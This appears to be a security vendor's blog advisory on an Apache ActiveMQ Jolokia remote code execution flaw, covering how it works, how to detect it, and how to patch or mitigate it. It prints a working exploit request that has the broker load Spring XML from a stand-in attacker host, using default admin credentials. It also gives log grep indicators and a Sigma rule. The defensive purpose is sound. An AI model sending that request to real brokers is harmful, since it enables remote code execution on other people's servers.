Security Architecture

Apache ActiveMQ CVE-2026-34197: The 13-Year-Old Jolokia RCE Hiding in Your Middleware

On April 16, CISA added CVE-2026-34197 to the Known Exploited Vulnerabilities catalog. The patching deadline for federal civilian agencies is April 30. Private sector defenders should treat the same deadline as their own, because Fortinet FortiGuard Labs telemetry showed exploitation peaking on April 14 and Horizon3.ai has published a full exploit walkthrough.

The vulnerability itself is a CVSS 8.8 remote code execution flaw in Apache ActiveMQ Classic. The mechanics are elegant in the worst way: a single HTTP POST to /api/jolokia/, a crafted URI, and the broker's JVM executes whatever the attacker wants. The bug has existed in the codebase for roughly 13 years. It was found this spring by Naveen Sunkavally at Horizon3.ai, then added to KEV one week after disclosure.

If your organization still runs ActiveMQ — and a surprising number of mid-market Java shops do, often without knowing it — you need to understand three things: how the exploit chain works, how to detect exploitation attempts in your broker logs, and why messaging middleware deserves the same architectural scrutiny as your edge firewalls. This post covers all three.

The bug in plain English

Apache ActiveMQ Classic exposes a web console on port 8161. That console embeds a management bridge called Jolokia at /api/jolokia/. Jolokia's job is to expose Java's JMX management interface over HTTP so administrators can read broker attributes and invoke operations through a browser or a curl one-liner.

ActiveMQ ships with a default Jolokia access policy that allows exec operations on every MBean under org.apache.activemq:*. Two of those operations are BrokerService.addNetworkConnector(String) and BrokerService.addConnector(String). Both accept a URI as a string argument. That sounds harmless — you expect URIs like tcp://host:61616 or ssl://peer:61617.

The problem is that ActiveMQ also supports a vm:// transport for in-process brokers. The vm:// transport accepts a brokerConfig query parameter, which tells it where to load a Spring XML configuration file when the referenced broker does not yet exist. And Spring's ResourceXmlApplicationContext will happily fetch that XML over HTTP and instantiate every bean in it before any validation runs.

Chain those pieces together and the exploit looks like this:

POST /api/jolokia/ HTTP/1.1
Host: victim.example.com:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/json

{
  "type": "exec",
  "mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
  "operation": "addNetworkConnector(java.lang.String)",
  "arguments": [
    "vm://evil?brokerConfig=xbean:http://attacker.example.com/payload.xml"
  ]
}

The payload.xml hosted on the attacker's server is a Spring bean definition that invokes java.lang.Runtime.getRuntime().exec(...) with an arbitrary OS command. The broker's JVM fetches the XML, Spring instantiates the bean, and Runtime.exec runs as whatever user the ActiveMQ process runs as — which, in too many deployments, is root.

Why this is worse than a normal auth-gated RCE

The advisory lists this as requiring authentication. That is technically true and operationally irrelevant for most of the exposed brokers on the internet, for three reasons.

First, default credentials. ActiveMQ's default admin account is admin:admin. Horizon3.ai and SentinelOne both note that these credentials remain common in production deployments, especially internal ones that were never meant to face the internet but ended up exposed through VPN misconfigurations, cloud lift-and-shifts, or overly permissive security groups.

Second, CVE-2024-32114 on ActiveMQ 6.0.0 through 6.1.1. That separate bug accidentally removed the /api/* path — which includes Jolokia — from the web console's security constraints. On those versions, Jolokia is completely unauthenticated. Chain CVE-2024-32114 with CVE-2026-34197 and you have unauthenticated internet-to-root. If you run any 6.x before 6.2.3, assume you were exposed.

Third, low-privilege users are enough. The Jolokia access policy grants exec on all ActiveMQ MBeans, not just to admins. Any account that can reach /api/jolokia/ and authenticate — including read-only monitoring accounts, if they exist — can invoke addNetworkConnector.

The practical model to adopt: if an attacker can reach your ActiveMQ web console and has any valid credential — or is on 6.0.0 through 6.1.1 — treat the broker as already compromised until you prove otherwise.

Detection: what to look for in your broker logs

Exploitation leaves unambiguous traces. The vm:// transport with a brokerConfig=xbean:http parameter does not appear in normal operations. If you see it, it is an attack.

On the broker host, search ActiveMQ's log files (typically ${ACTIVEMQ_HOME}/data/activemq.log) for strings like these:

# Any of these lines is a strong exploitation indicator
grep -E "vm://.*brokerConfig=xbean:http" /opt/activemq/data/activemq.log
grep -E "addNetworkConnector.*vm://" /opt/activemq/data/activemq.log
grep -E "ResourceXmlApplicationContext.*http" /opt/activemq/data/activemq.log

On the network side, any of the following should page your on-call engineer:

  • HTTP POST requests to /api/jolokia/ containing addNetworkConnector or addConnector in the body
  • Outbound HTTP requests originating from the ActiveMQ broker JVM to hosts outside your infrastructure — brokers should not be fetching XML from the internet
  • Unexpected child processes spawned by the Java process running ActiveMQ — for example, sh, bash, curl, wget, or powershell.exe with ActiveMQ's Java process as the parent PID

The last indicator is the most reliable after the fact. Spring instantiates beans before the broker logs "configuration failed" warnings, so the payload runs successfully even when the exploit attempt appears to error out in the broker logs. Parent-child process relationships are the ground truth.

If you have a SIEM, a minimal Sigma-style detection looks like this:

title: ActiveMQ Jolokia RCE Attempt (CVE-2026-34197)
logsource:
  category: webserver
detection:
  selection:
    cs-uri-stem|contains: '/api/jolokia/'
    cs-method: 'POST'
    cs-content|contains:
      - 'addNetworkConnector'
      - 'vm://'
      - 'brokerConfig=xbean'
  condition: selection
level: critical

The patching plan

The fix itself is simple: upgrade to ActiveMQ Classic 5.19.4 or 6.2.3. Both patches remove the ability for addNetworkConnector to add vm:// transports, because that code path was never meant to be exposed as a remote operation in the first place.

For SMBs without a dedicated middleware team, here is the four-step plan:

  1. Inventory first. Run a targeted scan for port 8161 on your internal and internet-facing ranges. nmap -p 8161 --script http-title 10.0.0.0/8 is a reasonable starting point. Anything returning "Apache ActiveMQ" in the title is a candidate. Also check container registries — ActiveMQ ships as an official Docker image that many teams pull without pinning versions.
  2. Confirm the version. Hit /admin/ on each broker (with admin credentials) or check activemq --version on the host. Anything before 5.19.4 or 6.2.3 is vulnerable. Anything 6.0.0 through 6.1.1 is critically vulnerable because Jolokia is unauthenticated there.
  3. Upgrade, then rotate credentials. Patch to the fixed versions. Immediately rotate any admin credentials, because you cannot assume they were not harvested. If your broker ran with admin:admin, treat the host as potentially compromised and follow your incident response runbook.
  4. Network segmentation. Even patched, the ActiveMQ web console (port 8161) should never face the internet. Put it behind a management VPN or a strict allow-list. The broker's messaging ports (61616, 61617) can be internet-facing if your architecture requires it; the management console should not be.

If you cannot patch immediately

If a production change window is blocking your upgrade, three mitigations buy you time without taking the broker offline.

The most effective is restricting the Jolokia access policy. ActiveMQ ships with a jolokia-access.xml file under ${ACTIVEMQ_CONF}/. Replace the broad <operation>*</operation> allow with an explicit deny on the dangerous operations:

<restrict>
  <deny>
    <mbean>
      <name>org.apache.activemq:type=Broker,*</name>
      <operation>addNetworkConnector</operation>
      <operation>addConnector</operation>
    </mbean>
  </deny>
</restrict>

The second option is disabling Jolokia entirely by removing or commenting out the Jolokia servlet mapping in webapps/api/WEB-INF/web.xml. If your teams do not use JMX-over-HTTP, this has no operational impact and closes the entire attack surface.

The third option is network-level: put a reverse proxy in front of the web console that blocks POST requests to /api/jolokia/ with request bodies containing addNetworkConnector, addConnector, or vm://. This is a stopgap, not a fix — but it will stop the publicly circulating exploit while you schedule the real upgrade.

The bigger architectural lesson

CVE-2026-34197 is a 13-year-old bug, which means it was sitting in every ActiveMQ deployment since 2013. Three separate design decisions — the default Jolokia policy allowing exec on all MBeans, the vm:// transport accepting a brokerConfig URI, and Spring's ResourceXmlApplicationContext instantiating beans before validation — were each defensible in isolation. The vulnerability lives in the seams between them.

This is the pattern practitioners keep seeing in middleware. Message brokers, orchestrators, identity providers, and CI/CD controllers all expose management APIs that were designed before "treat every admin interface as internet-reachable" became a standard threat model. Internal-by-default management surfaces tend to drift onto the internet through tunnel misconfigurations, cloud migrations, or third-party vendor reviews that nobody audited.

A good engagement process for any production messaging or orchestration layer asks three questions during the security review:

  • What management interfaces does this component expose, and on what ports?
  • What is the default authentication model, and is it actually configured in this deployment?
  • What operations are callable through those management interfaces, and which of them accept any kind of URI, file path, or deserialized object as input?

The third question is the one that catches bugs like this. When a management operation accepts an arbitrary URI, you are one remote loader away from remote code execution. The only safe assumption is that every such operation will eventually be weaponized.

What to do this week

If you remember nothing else from this post: check your environment for ActiveMQ before Friday, patch anything below 5.19.4 or 6.2.3, and get the web console off the public internet. The CISA deadline for federal agencies is April 30, but the exploit has been public for two weeks and telemetry shows active scanning. The delta between disclosure and mass exploitation for bugs like this is now measured in days, not months.

For teams without the middleware expertise to audit their Java messaging stack, or without the internal bandwidth to run the inventory-patch-segment workflow above across a production estate, this is a good moment to bring in help. The cost of a clean patch cycle is a fraction of the cost of responding to a broker compromise that gave an attacker a foothold inside your internal network.

Need help auditing your middleware attack surface?

Red Hound helps SMBs inventory their Java messaging, orchestration, and management-plane exposure, then build a defensible patching and segmentation strategy. If ActiveMQ, Kafka, RabbitMQ, or any other broker is in your stack and you are not sure where it lives, let us map it.